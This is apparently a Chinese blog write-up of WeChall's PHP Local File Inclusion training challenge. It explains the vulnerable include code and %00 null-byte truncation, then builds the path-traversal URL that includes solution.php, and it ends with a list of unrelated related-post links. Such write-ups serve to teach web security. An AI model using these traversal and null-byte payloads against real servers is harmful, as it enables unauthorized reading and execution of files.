PHP - Local File Inclusion(LFI)

题目:


中文翻译如下:

核心代码:
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;
代码详解:
  • 当要 判断一个变量是否已经声明的时候 可以使用 isset 函数
  • 判断表达式是否成立?表达式1:表达式2(三目运算符)
    如果条件成立,执行表达式1,否则执行表达式2
  • include:运行指定文件

从以上代码中看出,我们每次输入的文件名都会在最后加上.html,我们需要删除.html,在php<5.3.4版本之前,是存在00截断漏洞的,因此我们可以尝试使用00截断

%00截断介绍:

%00截断,例如1.php%00.txt,白名单在测试时会直接将这个带入,判断后缀名(因为此时1.php%00.txt是一个字符串整体),但执行该代码时,会自动截断%00后面的内容,只要记住会删除包括%00及后面的所有内容

解题过程:
  • 首先题目提到,需要执行solution.php,那么我们直接访问试试看呢

    (中文释义:您不能直接执行此脚本。请在up/index.php中使用LFI vuln包含它。)

  • 这是最简单的本地文件包含,这里不能直接在lfi目录下执行solution.php,需要使用到../,看到下方有文件包含,因此,我们先在题目中选择一个进去看看

    如下图:

  • 我们在url中再来试试下面的测试

http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=solution.php


(中文释义:
PHP警告(2):include(pages / solution.php.html):无法打开流:/ home / wechall / www / wc5 / www / challenge / training / php / lfi / up / index中没有这样的文件或目录 .php(54):eval()‘代码 行 1
PHP警告(2):include():无法在/ home / wechall / www / wc5 / www / challenge中打开’pages / solution.php.html’以包含(include_path =’。:/ usr / share / php’) /training/php/lfi/up/index.php(54):eval()'d代码 行 1)

  • 看到这个显示up中没有中没有solution.php.html,猜想可能是html的问题,于是我们使用00截断
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=solution.php%00

结果如下图:

  • 这回是删除了,但是还是没有显示,于是我们返回上面几层目录看看

    根据这个我们才看出,solution.php是在lfi目录下,因此,我们使用…/来访问(注:这里直接使用http://www.wechall.net/challenge/training/php/lfi/solution.php是不行的,他强制要求你使用本次文件包含)
  • 最后在http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=solution.php%00中重新构造url,构造时需要注意,solution.php在lfi目录下,但他代码在执行中会增加一个pages目录,本来我们使用下面这个构造就可以
http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../solution.php%00

但执行后却是下图所示这时(注:它这时的目录为http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=pages/../solution.php%00):

多了一个pages目录,我们需要到达lfi目录就需要使用两个../,第一个../跳出pages,第二个../跳出up到达lfi。最后,构造的url为

www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

执行结果为:

成功完成LFI

WeChall_PHP-Local File Inclusion(LFI)相关推荐

  1. phpmyadmin 4.8.1 Remote File Inclusion(CVE-2018-12613)远程文件包含漏洞复现

    漏洞描述 ​ 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试. 攻击者必须经过身份验证 ...

  2. 利用pearcmd.php本地文件包含(LFI)

    利用pearcmd.php本地文件包含(LFI) 一.前言 pearcmd这个东西很久以前就已经复现过了,但是当时没有记录下来.这些天在整理之前比赛的wp的时候突然看见了pear的LFI到getshe ...

  3. Face Alignment at 3000 FPS via Regressing Local Binary Features(CVPR2014)读后感(first pass)

    Face Alignment at 3000 FPS via Regressing Local Binary Features(CVPR2014)读后感(first pass) 这篇文章还是通过训练形 ...

  4. 【java笔记】File类(2):获取,判断,创建,删除,遍历目录方法

    [java笔记]File类(1)概述,静态成员,构造方法_m0_52043808的博客-CSDN博客 获取功能方法: public String getAbsolutePath():返回此File的绝 ...

  5. 【java笔记】File类(1)概述,静态成员,构造方法

    [java笔记]File类(2):常用方法_m0_52043808的博客-CSDN博客 java.io.File类: 文件和目录路径名的抽象表示. ●java把电脑中文件和文件夹(目录)封装为了一个F ...

  6. Android单元测试之Local unit tests(上)

    Android单元测试之Local unit tests(上) 简介 本地单元测试 JUnit 4 添加依赖 测试例子 结论 Mockito 添加依赖 测试例子-mock基本使用 测试例子-mock与 ...

  7. jai-core-1.1.3.jar was cached in the local repository 问题解决(maven)

    jai-core-1.1.3.jar was cached in the local repository 问题解决(maven) 问题: Failure to find javax.media:ja ...

  8. The Google File System(GFS)学习笔记

    文章目录 引子 GFS的架构 读数据 写数据 流水线式的网络数据传输 记录追加 总结 引子 这篇文章是我学习极客时间徐文浩老师的<大数据经典论文解读>课程的学习笔记,大量的文字和图片来自专 ...

  9. 【java笔记】File类(3):FileFilter文件过滤器原理和使用

    在File类中有两个和ListFiles重载的方法,方法的参数传递的是过滤器 java.io.FileFilter接口:用于File对象过滤器 抽象方法:boolean   accept(File p ...

最新文章

  1. Gradle 修改 Maven 仓库地址(阿里镜像)
  2. 使用数值计算库Zero - VC6调用失败、cfree调用成功
  3. 2019年湘潭大学程序设计竞赛(重现赛)补题:H.Chat(分组背包)
  4. SpringMVC异常处理流程
  5. 更新wpscan_wpscan扫描工具
  6. Leetcode每日一题:1024.video-stitching(视频拼接)
  7. 说说程序员应该知道的术语(中文+英文)
  8. 在任务分解结果中,最底层的要素必须是实现项目目标的充分必要条件
  9. (转载)python-hwdata
  10. 编程简单的计算机,计算机简单编程示例
  11. 数字图像处理(冈萨雷斯)学习 第二章 数字图像基础
  12. turtle库绘图:绘制QQ所有表情
  13. Python如何实现图片显示
  14. 腾讯元老赚够钱后辞职,到安徽隐居,每天对着200亩地发呆
  15. 【项目】区块链在电商领域中的应用-草莓糖(CMT)(一)
  16. 局域网与城域网(1)(网工)
  17. linux下划线后面加变量名,Shell中下划线_与变量的关系
  18. 维度表,实体表,事实表之间的关系
  19. IDE,PATA,SATA,PCIe与SCSI接口
  20. 将两个有序顺序表合并为一个新的有序顺序表MergeList_Sq

热门文章

  1. 西瓜书学习记录-神经网络(第五章)
  2. python3爬虫初探(五)之从爬取到保存
  3. SpringBoot用JdbcTemplates访问Mysql
  4. 最小二乘、最大似然和最大后验的简单总结
  5. Redis Sentinel 配置文件
  6. 直播系统开发如何才可以抓住用户眼球
  7. 第02篇:C#星夜拾遗之Windows窗体
  8. python matplotlib画图产生的Type 3 fonts字体没有嵌入问题
  9. 将图片转存为其它颜色格式(GDI+)
  10. CCNA实验(9) -- Frame Relay